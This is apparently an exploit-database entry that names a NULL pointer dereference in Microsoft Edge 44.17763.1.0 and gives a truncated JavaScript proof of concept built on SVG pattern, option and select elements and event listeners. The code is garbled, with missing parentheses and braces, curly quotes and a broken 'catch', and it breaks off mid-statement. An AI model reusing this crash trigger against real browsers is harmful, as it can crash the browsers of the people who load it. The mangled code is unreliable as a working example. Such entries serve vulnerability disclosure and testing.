Microsoft Edge 44.17763.1.0 - NULL Pointer Dereference

Microsoft Edge 44.17763.1.0 - NULL Pointer Dereference function f1 try var v1 = eventhandler1; catche var v2 = document.createElementNS"http://www.w3.org/2000/svg", “pattern”; v2.addEventListener"1", v1; var v3 = document.createElement“option”; var v4 = document.createElement“select”; v44 = v3;...